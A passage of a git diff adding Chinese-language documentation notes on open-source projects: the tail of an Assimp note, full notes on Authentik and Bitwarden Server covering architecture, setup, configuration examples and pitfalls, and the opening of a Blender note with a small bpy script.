轴相反;OpenGL 常加 `aiProcess_FlipUVs`,否则贴图上下颠倒。 + +3. **相对路径贴图丢失**:FBX/OBJ 引用的 `.png` 不在 cwd——实现自定义 `IOSystem` 或导出前烘焙内嵌纹理。 + +4. **对蒙皮模型用 PreTransformVertices**:顶点烘焙后骨骼权重失效,角色变「静态雕塑」。 + +5. **C API 忘记 aiReleaseImport**:长时间跑批处理脚本内存线性涨。 + +6. **格式≠功能完整**:同一扩展名不同 DCC 导出差异大;glTF 2.0 PBR 支持较好,老 COLLADA 文件可能缺切线。 + +7. **与 [[blender]] 导出设置**:Blender 导出 FBX/glTF 时的「应用变换」「三角面」「仅选中对象」会影响 Assimp 读到的节点树——问题常在导出端而非 Assimp 本身。 + +## 适用 vs 不适用场景 + +**适用**: + +- 游戏/可视化引擎的**通用模型加载器** +- 离线管线:格式转换、面数统计、LOD 预处理 +- 工具链:资产校验、批量三角化/法线生成 +- 学习 3D 文件内部结构(场景图、蒙皮、动画曲线) + +**不适用**: + +- 实时编辑 DCC(用 [[blender]] 等) +- 仅单一格式且已有专用 SDK(如只用官方 glTF-Sample-Viewer 生态且不需 FBX) +- 超大规模流式开放世界**运行时**加载(需自定义 chunk + GPU 流式,Assimp 更适合一次性导入) +- 生产渲染农场的核心格式(USD 生态有专用库;Assimp 对 USD 支持在演进中,需查当前版本文档) + +## 历史小故事(可跳过) + +- **2006**:Kim Kulling 发起项目,目标解决 Ogre 等引擎「每种格式一个 loader」的重复劳动 +- **2010s**:成为事实上的开源模型导入标准,被无数引擎、工具 fork 或 vendor +- **2020s**:glTF 2.0、3MF、PBR 材质路径持续完善;GitHub star 约 11k+,社区驱动维护 40+ importer +- **许可**:BSD 允许静态链接,与 GPL 引擎(需动态链接或替代 loader)组合时要单独评估 + +## 学到什么 + +1. **Assimp 的价值是「统一中间表示」**,不是替代 DCC 或渲染器 +2. **`aiScene` + 节点树 + mesh/material 三分法**是读任何格式的通用地图 +3. **后处理 flags 要在 ReadFile 时一次性声明**,比读入后再自己三角化省事 +4. **C++ Importer RAII vs C API 手动释放**——选一种风格并坚持到底 +5. **导入失败先查导出设置和贴图路径**,再怀疑 Assimp bug + +## 延伸阅读 + +- 官方文档:[The Asset Importer Lib Documentation](https://the-asset-importer-lib-documentation.readthedocs.io/en/latest/) +- 支持格式完整列表:[doc/Fileformats.md](https://github.com/assimp/assimp/blob/master/doc/Fileformats.md) +- 构建说明:[Build.md](https://github.com/assimp/assimp/blob/master/Build.md) +- 测试模型库:[assimp-mdb](https://github.com/assimp/assimp-mdb) + +## 关联 + +- [[blender]] —— 常见导出源(FBX / glTF / OBJ) +- [[godot]] —— 引擎侧导入管线与 Assimp 场景概念相通 +- [[raylib]] —— `LoadModel()` 等 API 底层可接 Assimp 类数据 +- [[opencv]] —— 纹理处理、预览缩略图可配合使用 +- [[ffmpeg]] —— 与 3D 无关,但音视频+3D 预览管线常并存 +- [[playcanvas]] / [[three-js]] —— Web 侧 glTF 原生路径与 Assimp 离线转换互补 + +## 反向链接 + + + +- [[draco]] —— Draco — Google 3D 网格与点云压缩 +- [[gltf-transform]] —— glTF Transform — glTF 资产工具链 + diff --git a/src/content/docs/projects/authentik.md b/src/content/docs/projects/authentik.md new file mode 100644 index 000000000..850c18bdf --- /dev/null +++ b/src/content/docs/projects/authentik.md @@ -0,0 +1,276 @@ +--- +title: Authentik — 自托管开源 IdP,把 SSO/OAuth/SAML 做成可编排的登录中枢 +来源: https://github.com/goauthentik/authentik +日期: 2026-06-13 +子分类: 安全与隐私 +分类: 安全与隐私 +难度: 中级 +provenance: pipeline-v3 +--- + +## 是什么 + +Authentik(常写作 **authentik**)是一个**开源、可自托管的身份提供商(Identity Provider, IdP)**,专门做现代单点登录(SSO)。日常类比: + +> 公司里有一二十个系统:GitLab、Grafana、内部 Wiki、VPN 门户……每个都要账号密码,员工离职还要逐个删。 +> 你可以想象 Authentik 是**大楼前台**:员工只在前台刷一次工牌(登录一次),前台根据权限发不同楼层的临时通行证(OAuth token / SAML assertion),各楼层门禁只认这张证,不再各自维护一份员工名册。 + +和「在应用里手写登录页」不同,Authentik 站在**应用外侧**:应用变成 OAuth Client 或 SAML Service Provider,把「谁已登录、属于哪个组」这件事交给 IdP 裁决。GitHub 上 stars 超过 2 万,常被拿来与 Keycloak、Okta、Auth0、Entra ID 对比——区别是 Authentik 强调**自托管 + 可视化 Flow 编排 + Blueprint 基础设施即代码**。 + +## 为什么重要 + +如果你在做 homelab、中小企业内网、或需要合规自管身份数据,不理解 Authentik 会卡在这些问题上: + +- **为什么 Grafana / Nextcloud / GitLab 可以「Sign in with XXX」**:背后是 OIDC Authorization Code Flow,IdP 发 `id_token` + `access_token`,应用只验证签名和 audience +- **为什么企业采购 Okta 很贵,homelab 却用 Authentik**:同一套协议(SAML 2.0、OAuth2/OIDC、LDAP、RADIUS、SCIM),Authentik 社区版 MIT 开源,数据留在自己 Postgres 里 +- **为什么改 MFA、密码策略、社交登录不用改业务代码**:Authentik 把登录 UI 和策略抽成 **Flow + Stage + Policy**,在管理后台拖拽或 YAML Blueprint 声明 +- **为什么反向代理后面的老应用也能 SSO**:**Proxy Provider + Outpost** 在应用前面做认证网关,应用本身甚至不知道 OAuth 存在 + +## 核心要点 + +Authentik 的世界观可以拆成 **六块积木**: + +### 1. Application(应用)与 Provider(协议适配器) + +每个要接入 SSO 的系统在 Authentik 里先建 **Application**(给人看的名字、图标、启动 URL),再绑一个 **Provider**(真正跑协议的实体): + +| Provider 类型 | 典型场景 | +|---------------|----------| +| OAuth2 / OpenID Connect | Grafana、Next.js、现代 SaaS | +| SAML | 传统企业软件、部分云厂商控制台 | +| LDAP | 需要目录协议的老系统、NAS | +| Proxy | 没有原生 SSO、只有 HTTP Basic 的遗留应用 | +| RADIUS | Wi‑Fi / VPN 拨号 | + +官方推荐用 **Create with provider** 一次性创建应用 + 提供商,避免 Client ID / Redirect URI 配错一半。 + +### 2. Flow(流程)与 Stage(阶段) + +登录、注册、找回密码、MFA 都不是硬编码页面,而是 **Flow** 串联多个 **Stage**: + +- `Identification Stage`:收集用户名/邮箱 +- `Password Stage`:验密码 +- `Authenticator Validate Stage`:TOTP / WebAuthn +- `User Login Stage`:写 session、发 cookie + +类比:**Flow 是剧本,Stage 是场景**;改 MFA 策略 = 在剧本里插入一个场景,不用 fork 整个登录代码。 + +### 3. Policy(策略)与 Group(组) + +Policy 决定「谁能过这个 Stage / 谁能访问这个 Application」——可按组、属性、时间、表达式绑定。Group 映射到下游应用的 **角色**(例如 Grafana Admin / Editor)。 + +### 4. Source(身份来源)——双向联邦 + +- **作为 IdP**:你的应用信任 Authentik 签发的 token(最常见) +- **作为 SP(SAML Source)**:用户从公司现有 IdP(如 Azure AD)登录,Authentik 再给内部应用发 session——适合渐进迁移 + +### 5. Outpost(前哨) + +Proxy / LDAP 等 Provider 的逻辑跑在 **Outpost** 容器里(靠近应用或反向代理),通过 WebSocket 从 Core 拉配置。好处:低延迟、可进隔离网段、Core 不必暴露给所有子网。 + +### 6. Blueprint(配置即代码) + +Blueprints 是 YAML 文件,描述 Flow、Provider、Application 等对象;可挂载到 worker 的 `/blueprints` 目录,约每 60 分钟自动 reconcile,也可从 OCI 仓库 `oci://ghcr.io/...` 拉取——适合 GitOps / Terraform 旁路管理。 + +## 实践案例 + +### 案例 1:Docker Compose 最小安装 + +官方推荐测试与小规模生产用 Compose(至少 2 CPU / 2 GB RAM): + +```bash +# 下载官方 compose 模板 +wget https://docs.goauthentik.io/compose.yml + +# 生成数据库密码与实例密钥(写入 .env) +echo "PG_PASS=$(openssl rand -base64 36 | tr -d '\n')" >> .env +echo "AUTHENTIK_SECRET_KEY=$(openssl rand -base64 60 | tr -d '\n')" >> .env + +# 可选:改对外端口 +echo "COMPOSE_PORT_HTTP=9000" >> .env +echo "COMPOSE_PORT_HTTPS=9443" >> .env + +docker compose pull +docker compose up -d +``` + +**逐行说明**: + +- `server` 容器跑 Web UI + API(默认 9000/9443);`worker` 跑异步任务、Blueprint、Outpost 编排 +- `PG_PASS` 喂给内嵌 PostgreSQL;`AUTHENTIK_SECRET_KEY` 用于加密 session、签名 cookie——**丢了就要按文档轮换,旧 session 全失效** +- 默认 worker 挂载 `/var/run/docker.sock` 以便自动起 Outpost;生产环境可改用 Docker Socket Proxy 或手动部署 Outpost 降低风险 +- 容器内时间请保持 **UTC**,不要挂宿主 `/etc/timezone`,否则 OAuth/SAML 的 `exp` 校验会莫名其妙失败 + +首次访问 `https://:9443/if/flow/initial-setup/` 创建管理员,然后在 **Applications → Create with provider** 向导里接入第一个应用。 + +### 案例 2:Grafana 走 OIDC(应用侧配置) + +在 Authentik 里创建 **OAuth2/OpenID Provider**,记下 Client ID、Client Secret、Application slug。Grafana `docker-compose` 环境变量示例(来自官方文档): + +```yaml +environment: + GF_AUTH_GENERIC_OAUTH_ENABLED: "true" + GF_AUTH_GENERIC_OAUTH_NAME: "authentik" + GF_AUTH_GENERIC_OAUTH_CLIENT_ID: "" + GF_AUTH_GENERIC_OAUTH_CLIENT_SECRET: "" + GF_AUTH_GENERIC_OAUTH_SCOPES: "openid profile email" + GF_AUTH_GENERIC_OAUTH_AUTH_URL: "https://authentik.company/application/o/authorize/" + GF_AUTH_GENERIC_OAUTH_TOKEN_URL: "https://authentik.company/application/o/token/" + GF_AUTH_GENERIC_OAUTH_API_URL: "https://authentik.company/application/o/userinfo/" + GF_AUTH_SIGNOUT_REDIRECT_URL: "https://authentik.company/application/o//end-session/" + GF_AUTH_OAUTH_AUTO_LOGIN: "true" + GF_AUTH_GENERIC_OAUTH_ROLE_ATTRIBUTE_PATH: "contains(groups[*], 'Grafana Admins') && 'Admin' || contains(groups[*], 'Grafana Editors') && 'Editor' || 'Viewer'" + GF_SERVER_ROOT_URL: "https://grafana.company" +``` + +**关键点**: + +- Authentik 里必须把 Redirect URI 设成 **Strict** 模式下的 `https://grafana.company/login/generic_oauth`,多一个斜杠都会 `redirect_uri_mismatch` +- `ROLE_ATTRIBUTE_PATH` 用 OIDC userinfo 里的 `groups` 声明映射 Grafana 角色——组名要在 Authentik 里先建好并绑定用户 +- 登出要走 `end-session` URL,否则只清了 Grafana session、IdP 仍登录,点「用 Authentik 登录」会静默成功(有时这是期望,有时是安全隐患) + +### 案例 3:用 Blueprint 声明一个 OIDC 应用(基础设施即代码) + +把下面 YAML 放到 worker 可读的 `/blueprints/my-grafana.yaml`,或通过 Admin → Blueprints → Create instance 导入: + +```yaml +# yaml-language-server: $schema=https://goauthentik.io/blueprints/schema.json +version: 1 +metadata: + name: grafana-oidc + labels: + blueprints.goauthentik.io/instantiate: "true" +entries: + - model: authentik_providers_oauth2.oauth2provider + id: grafana-provider + attrs: + name: Grafana OIDC + client_type: confidential + redirect_uris: + - matching_mode: strict + url: https://grafana.company/login/generic_oauth + signing_key: !Find [authentik_crypto.certificatekeypair, [], ["name", "authentik Self-signed Certificate"]] + - model: authentik_core.application + id: grafana-app + attrs: + name: Grafana + slug: grafana + provider: !KeyOf grafana-provider + meta_launch_url: https://grafana.company + meta_icon: https://grafana.com/static/assets/img/grafana_icon.svg +``` + +**说明**: + +- `!Find` / `!KeyOf` 是 Authentik Blueprint 的自定义 YAML 标签,用来引用已有对象或同文件内条目 +- `labels` 里 `instantiate: "true"` 表示 worker 自动实例化;改文件后约 60 分钟内 reconcile +- 生产环境应把 Client Secret 交给 Sealed Secret / 外部 vault,Blueprint 只引用,不要明文进 Git + +### 案例 4:用 API 列出用户(自动化运维) + +每个实例自带 OpenAPI 3 浏览器:`https://authentik.company/api/v3/`。用 **API Token**(Admin → Directory → Tokens)调用: + +```bash +export AUTHENTIK_URL="https://authentik.company" +export AUTHENTIK_TOKEN="your-api-token" + +curl -s -H "Authorization: Bearer ${AUTHENTIK_TOKEN}" \ + "${AUTHENTIK_URL}/api/v3/core/users/?page_size=5" | jq '.results[] | {username, name, email, is_active}' +``` + +适合写离职脚本:先 `is_active=false`,再吊销各应用 refresh token,比手工点 UI 可审计。 + +## OIDC 登录时序(脑内模型) + +```text +用户浏览器 Grafana (RP) Authentik (IdP) + | | | + |-- 访问 / ---------->| | + |<-- 302 /login -----| | + |-- 点 OAuth 登录 --->| | + |<-- 302 authorize --|------------------------->| + |<-- 登录 Flow UI ------------------------------| + |-- 提交凭据 ---------------------------------->| + |<-- 302 redirect?code=xxx ----------------------| + |------------------ code ----------------------->| + | |--- POST /token --------->| + | |<-- access_token + id_token + |<-- Set-Cookie -----| | +``` + +记住三个 URL:`/authorize/`(用户.redirect)、`/token/`(后端换票)、`/userinfo/`(拿 groups/email)。 + +## 踩过的坑 + +1. **Redirect URI 大小写与尾斜杠**:OIDC Strict 模式下 `https://app/callback` 和 `https://app/callback/` 是两个 URI;从应用文档复制时最容易踩坑。 + +2. **时钟漂移**:容器时区乱改会导致 `iat`/`exp` 校验失败,表现是「登录成功立刻掉线」。保持 UTC,用 NTP 同步宿主。 + +3. **忘记 Outpost**:Proxy Provider 建了却没人访问,因为 Outpost 没部署或没绑 Application;看 **Applications → Outposts** 健康状态。 + +4. **Blueprint 与 UI 双写冲突**:同一对象既在 UI 手改又在 Blueprint 声明,reconcile 会以 Blueprint 为准覆盖——团队要约定「谁是 source of truth」。 + +5. **PostgreSQL 密码长度**:官方文档提醒 PG 密码不要超过 99 字符,否则 PostgreSQL 自身限制会装不上。 + +6. **把 Authentik 当应用数据库**:它是 IdP,不是用户业务数据的 ORM;应用仍应维护自己的 `user_id` 映射表(用 `sub` 或 email 做外键)。 + +## 适用 vs 不适用 + +**适用**: + +- 自托管 homelab / 中小企业,要统一登录 Grafana、GitLab、Vaultwarden、Nextcloud 等 +- 需要 SAML + OIDC + LDAP 多种协议混搭,不想为每个协议单独部署组件 +- 想用可视化 Flow 快速上 MFA、社交登录,同时保留 Blueprint/GitOps +- 空气隔离网、离线环境——Outpost 可在内网独立运行 + +**不适用**: + +- 只有单个 Next.js 应用、用户量 < 1k——直接 [[better-auth]] 或 [[auth-js]] 嵌在应用里更轻 +- 团队零运维意愿、宁可按月付费——Clerk / Auth0 / WorkOS 省心力 +- 已深度绑定 Keycloak 生态且团队熟悉——迁移成本要单独评估 +- 需要全球多区域主动高可用 SLA——自建 IdP 的运维责任在你 + +## 与 Keycloak / 云 IdP 的粗略对比 + +| 维度 | Authentik | Keycloak | Auth0 / Okta | +|------|-----------|----------|----------------| +| 许可 | MIT(社区版) | Apache 2.0 | 商业订阅 | +| 上手曲线 | Flow UI 友好 | 概念多、配置繁 | 托管省心 | +| 协议 | OIDC/SAML/LDAP/RADIUS/SCIM | 同类齐全 | 同类 + 生态集成 | +| 配置即代码 | Blueprint YAML | Realm export JSON | Terraform 提供商 | +| 资源占用 | 中等(PG+Redis) | 偏重(JVM) | 无自管 | + +## 历史小故事(可跳过) + +- **2019 年底**:项目以 `goauthentik/authentik` 开源,定位「安全优先、协议灵活的 IdP」 +- **2021–2023**:Blueprint、Outpost、Proxy Provider 逐渐成熟,homelab 社区快速扩散 +- **2024–2026**:GitHub stars 突破 2 万,企业版对标 Okta/Entra 迁移场景;版本号改为日历式(如 `2025.2.x`) + +## 学到什么 + +1. **SSO 的核心是信任链**:IdP 私钥签名 → RP 公钥验证 → `sub`/`groups` 映射本地权限;应用不应再信任自报的 `role` 字段 +2. **Flow 抽象把「登录 UX」从业务代码里剥离**:改 MFA 是改配置,不是发版 +3. **Outpost 是「边缘执行、中心治理」模式**:和 Istio sidecar、Cloudflare Workers 的思路同构——策略在控制面,执行在数据面 +4. **Blueprint 让 IdP 配置可版本化**:终于能把「谁有 Grafana Admin」写进 PR review + +## 延伸阅读 + +- 官方文档:[docs.goauthentik.io](https://docs.goauthentik.io/)(First steps、Provider、Flow、Outpost) +- 仓库:[goauthentik/authentik](https://github.com/goauthentik/authentik) +- API:[API Overview](https://docs.goauthentik.io/developer-docs/api/) +- Blueprints:[Blueprints](https://docs.goauthentik.io/customize/blueprints/) + +## 关联 + +- [[better-auth]] —— 应用内嵌认证框架;Authentik 是组织级外置 IdP,二者可并存(应用仍用 better-auth,社交登录接 Authentik OIDC) +- [[auth-js]] —— 若只需单应用 OAuth Client,Auth.js 够用;多应用统一身份才需要 Authentik +- [[nginx]] —— 常与 Proxy Outpost 配合,在反向代理层做 `auth_request` 式 SSO +- [[kubernetes]] —— 生产推荐 Helm 部署 Authentik 与 Outpost +- [[postgresql]] —— Authentik 默认依赖 PostgreSQL 存配置与用户 +- [[redis]] —— 缓存与任务队列,Compose 安装标配 +- [[oauth2-rfc6749]] —— 理解 Authorization Code Flow 的 RFC 基础 +- [[tls-1-3-rfc8446]] —— 生产环境 HTTPS 与证书轮换 + +## 反向链接 + + diff --git a/src/content/docs/projects/bitwarden-server.md b/src/content/docs/projects/bitwarden-server.md new file mode 100644 index 000000000..b291c409e --- /dev/null +++ b/src/content/docs/projects/bitwarden-server.md @@ -0,0 +1,261 @@ +--- +title: Bitwarden Server — 密码管理器后端 +来源: https://github.com/bitwarden/server +日期: 2026-06-13 +子分类: 安全与隐私 +分类: 安全与隐私 +provenance: pipeline-v3 +--- + +## 是什么 + +Bitwarden Server 是开源密码管理器 **Bitwarden 的后端**:所有客户端(浏览器扩展、桌面、手机、CLI)同步密码、登录、组织共享时,背后连的都是这套 C# / ASP.NET Core 服务集群。 + +日常类比: + +- **客户端(Bitwarden App)** = 你家里的**带锁保险箱**:真正开锁、读写密码本的动作只在你手上完成 +- **Bitwarden Server** = 银行租给你的**保管库格子**:只存已经上锁的箱子,银行职员看不到里面是什么 +- **Identity 服务** = 大堂的**门禁系统**:验你是不是账户本人,但不替你打开保险箱 +- **API 服务** = **收发室**:帮你把上锁的箱子在不同设备之间搬运,从不拆封 + +这和「把密码明文存进自家数据库」完全不同:服务器存的是密文 blob,解密密钥永远不下发到服务端。 + +## 为什么重要 + +密码管理是零信任时代的基础设施。理解 Bitwarden Server,能解释一连串工程问题: + +- 为什么官方强调 **zero-knowledge(零知识)**——服务端被拖库也拿不到主密码 +- 为什么架构是 **9+ 个微服务** 而不是一个单体——认证、计费、通知、审计可以独立扩缩容 +- 为什么自建(self-host)和云端共用同一套代码,只靠 `GlobalSettings.SelfHosted` 切换行为 +- 为什么企业版额外有 **SSO / SCIM** 服务——把密码库接到公司 IdP 和 HR 系统 + +对后端开发者来说,它是学习 **OAuth 2.0 / OIDC、SignalR 实时推送、多数据库适配、Docker 编排** 的完整样本;对安全从业者,它是 **客户端加密 + 服务端盲存** 的教科书实现。 + +## 核心概念 + +### 1. 零知识架构(Zero-Knowledge) + +加密 / 解密 **只在客户端** 发生。流程可以概括为: + +``` +主密码 + 邮箱(salt) + └─> KDF (PBKDF2 / Argon2id) → Master Key + └─> HKDF → 对称加密密钥 + MAC 密钥 + └─> 解密「受保护的用户密钥」→ User Key + └─> 解密每条 Cipher(密码条目) +``` + +服务端只保存: + +- 主密码的 **哈希**(用于登录验证,不可逆) +- **加密后的** User Key、Cipher 字段、附件元数据 + +主密码和明文 User Key **从不** 传到服务器。管理员重置账户也 **不能** 替你恢复 vault 内容——这是设计特性,不是 bug。 + +### 2. 微服务拆分 + +| 服务 | 职责 | +|------|------| +| **API** | 主 REST API:vault、组织、文件夹、Send、导入导出 | +| **Identity** | OAuth 2.0 / OpenID Connect(基于 Duende IdentityServer) | +| **Admin** | 自建实例管理门户 | +| **Notifications** | SignalR WebSocket,多设备实时同步 | +| **Events** / **EventsProcessor** | 审计日志与异步处理 | +| **Icons** | 为站点抓取 favicon(可选) | +| **Billing** | Stripe 订阅(云端) | +| **SSO** / **SCIM** | 企业 SAML/OIDC 与自动开户(Enterprise) | + +所有服务共享 **`Core` 库**(业务逻辑、Repository 接口、邮件、特性开关),各自有独立的 `Startup.cs`,在 `ConfigureServices` 里按固定顺序注册依赖: + +`AddGlobalSettingsServices` → `AddDatabaseRepositories` → `AddBaseServices` → `AddDefaultServices`。 + +### 3. GlobalSettings 与自建模式 + +`GlobalSettings` 从 `appsettings.json` + 环境变量加载,是整站的「总开关」: + +- `SelfHosted = true`:路径路由(`/identity`、`/admin`)、关闭云端限流、简化外部依赖 +- `DatabaseProvider`:SQL Server / PostgreSQL / MySQL +- `BaseServiceUri`:各微服务对外 URL(反向代理后面尤其重要) + +自建 Docker 部署时,安装脚本 `bitwarden.sh` 会生成 `.env` 和 `docker-compose` 编排,镜像来自 `ghcr.io/bitwarden/*`。 + +### 4. 数据模型:Cipher + +Vault 里每一条记录(登录、卡、身份、安全笔记)在数据库里是一个 **Cipher** 行。敏感字段(`name`、`login.password`、`notes` 等)各自是 **EncString**——客户端加密后的字符串。服务端 API 只做 CRUD 和同步冲突检测,不解密内容。 + +组织共享时,Cipher Key 用 **组织对称密钥** 加密;成员通过 RSA 密钥交换拿到 Org Key——仍然全程密文传输。 + +### 5. 技术栈一览 + +- **运行时**:.NET 8 / ASP.NET Core +- **数据库**:SQL Server(默认)、PostgreSQL、MySQL;EF Core + Dapper 双轨 +- **认证**:Duende IdentityServer、JWT Bearer、2FA / WebAuthn +- **实时**:SignalR(Notifications 服务) +- **部署**:Docker Compose(自建)、Kubernetes(生产)、Nginx 反代 +- **对象存储**:Azure Blob / S3 兼容(附件、Send 文件) + +## 代码示例 + +### 示例 1:API 服务启动时的依赖注册(节选) + +每个微服务的 `Startup.ConfigureServices` 都遵循同一模式。下面是 API 服务的典型片段(简化自 `src/Api/Startup.cs`): + +```csharp +public void ConfigureServices(IServiceCollection services) +{ + // 1. 全局配置(含 SelfHosted、数据库连接、服务 URI) + var globalSettings = services.AddGlobalSettingsServices(Configuration, Environment); + + // 2. 数据访问层:40+ Repository(User、Cipher、Organization…) + services.AddDatabaseRepositories(globalSettings); + + // 3. 基础设施:邮件、事件、特性开关 + services.AddBaseServices(globalSettings); + services.AddDefaultServices(globalSettings); + + // 4. 身份认证:JWT + OAuth scope "api" + services.AddCustomIdentityServices(globalSettings); + services.AddIdentityAuthenticationServices(globalSettings, Environment, config => + { + config.AddPolicy(Policies.Application, policy => + { + policy.RequireAuthenticatedUser(); + policy.RequireClaim(JwtClaimTypes.Scope, ApiScopes.Api); + }); + }); + + // 5. 业务模块:计费、导入、Send 等 + services.AddBillingOperations(); + services.AddImportServices(); + services.AddSendServices(); +} +``` + +读懂这段,就理解「为什么改 vault 逻辑往往动 `Core`,而 HTTP 路由在 `Api` 的 Controller」。 + +### 示例 2:Linux 上一键自建(官方脚本) + +生产环境推荐用官方安装脚本,而不是手搓 compose: + +```bash +# 下载安装器 +curl -s -L -o bitwarden.sh \ + "https://func.bitwarden.com/api/dl/?app=self-host&platform=linux" +chmod +x bitwarden.sh + +# 交互式安装:域名、SSL、数据库、Installation Id/Key +./bitwarden.sh install + +# 启动全部容器(api、identity、nginx、mssql…) +./bitwarden.sh start + +# 常用运维 +./bitwarden.sh status +./bitwarden.sh updateself # 拉取新镜像 +./bitwarden.sh renewcert # Let's Encrypt 续期 +``` + +安装完成后,Nginx 把 `/api`、`/identity`、`/notifications` 等路径转发到对应容器。`config.yml` 里可改 `database` 为 `postgresql` 等。 + +### 示例 3:本地开发跑单个 API 项目 + +贡献者克隆仓库后,可只起 API 做接口调试(需先配数据库与 user secrets): + +```bash +git clone https://github.com/bitwarden/server.git +cd server + +# 按 contributing 文档:Docker 起 MSSQL、跑 migrate.ps1、setup_secrets.ps1 +cd src/Api +dotnet run +# 开发环境 Swagger:http://localhost:4000/docs +``` + +自建开发配置用 `Api-SelfHost` launch profile,端口通常比云端实例 **+1**(例如 API 在 4001),以便两套环境并行。 + +### 示例 4:用 curl 访问同步 API(概念演示) + +客户端同步 Cipher 时调用 REST API。以下展示 **请求形态**(`Bearer` 令牌来自 Identity 的 OAuth 流程;body 里的字段已是客户端加密后的密文): + +```bash +# 获取 access token(密码式登录仅用于测试;生产应用用授权码 + PKCE) +TOKEN=$(curl -s -X POST "https://your-domain.com/identity/connect/token" \ + -H "Content-Type: application/x-www-form-urlencoded" \ + -d "grant_type=password&username=user@example.com&password=***&scope=api offline_access" \ + | jq -r .access_token) + +# 列出 vault 中的 cipher(返回 JSON,字段值为 EncString) +curl -s "https://your-domain.com/api/ciphers" \ + -H "Authorization: Bearer $TOKEN" \ + -H "Content-Type: application/json" +``` + +服务端返回的 `login.password` 形如 `2.xxx|xxx`——类型前缀 + Base64 密文。没有 User Key 就无法还原明文。 + +## 请求链路(自建典型) + +```text +浏览器 / 扩展 + │ + ▼ +Nginx (443) ──路径分发──┬── /identity → Identity 容器(登录、发 token) + ├── /api → API 容器(vault CRUD) + ├── /notifications → SignalR 推送 + └── /admin → 管理后台 + │ + ▼ +SQL Server / PostgreSQL(vault 库:User、Cipher、Organization…) +``` + +登录时:客户端 → Identity 验证密码哈希 → 发 JWT。之后 API 请求带 JWT,API 服务 **不** 再验证主密码,只鉴权并读写密文记录。密码修改时,客户端本地重加密 User Key 和新 Cipher,再 PUT 回 API。 + +## 与 Vaultwarden 的区别 + +很多人自建时用的是 **Vaultwarden**(Rust 重写的兼容实现),不是官方 Server: + +| 维度 | Bitwarden Server | Vaultwarden | +|------|------------------|-------------| +| 语言 | C# / .NET | Rust | +| 资源占用 | 多容器,内存较高 | 单容器,极轻量 | +| 协议 | 官方标准 | API 兼容 Bitwarden 客户端 | +| 企业功能 | SSO/SCIM/完整审计 | 部分缺失或简化 | +| 许可 | 源码可见,部署需关注许可条款 | GPL | + +学 **官方架构、企业集成、加密协议演进**,应读 Bitwarden Server + `clients` 仓库;学 **树莓派上跑个轻量密码库**,Vaultwarden 更合适。 + +## 安全与运维要点 + +1. **HTTPS 必开**:安装脚本可自动申请 Let's Encrypt;自签证书需导入所有客户端 +2. **备份数据库 + `bwdata` 目录**:丢库 = 丢密文;没有主密码仍无法解密 +3. **Installation Id/Key**:自建实例向 Bitwarden 云注册(部分功能需要),开发环境要在云库 `Installation` 表插入对应记录 +4. **及时 `updateself`**:安全补丁随 Docker 镜像发布,版本号如 `v2026.6.0` +5. **不要把 `adminToken` 暴露到公网**:Admin 门户能改实例级配置 + +## 源码阅读路线(零基础) + +1. **README + `docker/`**:先搞清部署拓扑,别一头扎进 C# +2. **`src/Core`**:`Cipher`、`User` 实体,`ICipherRepository`,`UserService`——业务心脏 +3. **`src/Api/Vault`**:`CiphersController`——REST 如何映射到 Service +4. **`src/Identity`**:OAuth 客户端、grant type、2FA 流程 +5. **`bitwarden-server.mintlify.app`**:官方架构文档与 API 说明 +6. **`clients` 仓库加密文档**:把「客户端干什么」和「服务端干什么」对齐 + +## 常见坑 + +- **混用云端与自建端口**:开发时 SelfHost profile 端口 +1,web 客户端要用 `build:oss:selfhost:watch` 指对 API +- **只备份文件不备份库**:附件在 blob/S3,元数据在 SQL,缺一不可 +- **以为管理员能重置主密码并看到密码**:只能重置 **登录**;vault 内容仍不可恢复 +- **PostgreSQL 大小写**:迁移脚本和连接串要与 `GlobalSettings` 一致 + +## 延伸阅读 + +- 官方仓库:https://github.com/bitwarden/server +- 架构文档:https://bitwarden-server.mintlify.app/introduction +- 加密实现:https://bitwarden-server.mintlify.app/operations/encryption +- 贡献者自建指南:https://contributing.bitwarden.com/getting-started/server/self-hosted/ +- 客户端密码学:https://bitwarden-clients.mintlify.app/guide/cryptography +- 相关笔记:[[oauth2-rfc6749]](Identity 协议基础)、[[tls-1-3-rfc8446]](传输层)、[[postgresql]](可选数据库后端) + +## 小结 + +Bitwarden Server 不是「又一个 CRUD 后台」,而是 **在服务端不可信前提下** 设计的同步与协作系统:微服务负责认证、存储、审计、计费;**信任边界在客户端主密码**。从零学习时,先建立「保险箱 vs 保管库」的心智模型,再按 Docker 部署 → API/Identity 源码 → 加密白皮书 的顺序深入,比直接啃 Controller 省力得多。 diff --git a/src/content/docs/projects/blender.md b/src/content/docs/projects/blender.md new file mode 100644 index 000000000..734229a1e --- /dev/null +++ b/src/content/docs/projects/blender.md @@ -0,0 +1,238 @@ +--- +title: Blender — 全流程 3D 创作套件 +来源: https://github.com/blender/blender +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +provenance: pipeline-v3 +--- + +## 是什么 + +**Blender** 是由 Blender Foundation 维护的**免费开源 3D 创作套件**,覆盖建模、雕刻、绑定、动画、物理模拟、渲染、合成、视频剪辑乃至 2D 动画(Grease Pencil)的完整管线。源码托管于 [blender/blender](https://github.com/blender/blender),桌面版跨 Windows / macOS / Linux,也可作为 Python 模块 `bpy` 嵌入自动化流水线。 + +日常类比:如果把做 3D 内容比作**拍一部电影**,Blender 不是只负责「摄影棚」或「后期机房」的单一工具——它更像**自带摄影棚、道具间、化妆间、剪辑台和放映厅的综合制片厂**。你可以在同一个 `.blend` 项目文件里:捏一个杯子(建模)→ 给它上釉(材质)→ 让它从桌上滚下来(物理/动画)→ 打光渲染成 4K 静帧或 MP4(Cycles / EEVEE)→ 再叠一层字幕和调色(合成/视频编辑),全程不用换软件。 + +最小「程序化建一个立方体」脚本(在 Blender 脚本编辑器或 `--python` 运行): + +```python +import bpy + +# 清空默认场景里的立方体、相机、灯光(可选) +bpy.ops.object.select_all(action='SELECT') +bpy.ops.object.delete() + +# 添加一个 2m 边长的立方体,位置抬高 1m +bpy.ops.mesh.primitive_cube_add(size=2, location=(0, 0, 1)) +cube = bpy.context.active_object +cube.name = "MyCube" +``` + +四行有效操作 = 一个可渲染的 3D 物体出现在场景里。GUI 里按 `Shift+A` 做的事,脚本里用 `bpy.ops` 同样能做。 + +## 为什么重要 + +零基础学 3D,绕不开 Blender 的几个现实理由: + +- **零授权成本**:个人、教育、商业项目均可免费使用(GPL 许可),不像 Maya / 3ds Max 按年订阅 +- **全流程在一个文件里**:小团队不用在 DCC、渲染器、合成软件之间来回导出 FBX/OBJ +- **Python 一等公民**:界面里能点的按钮,几乎都能用 `bpy` 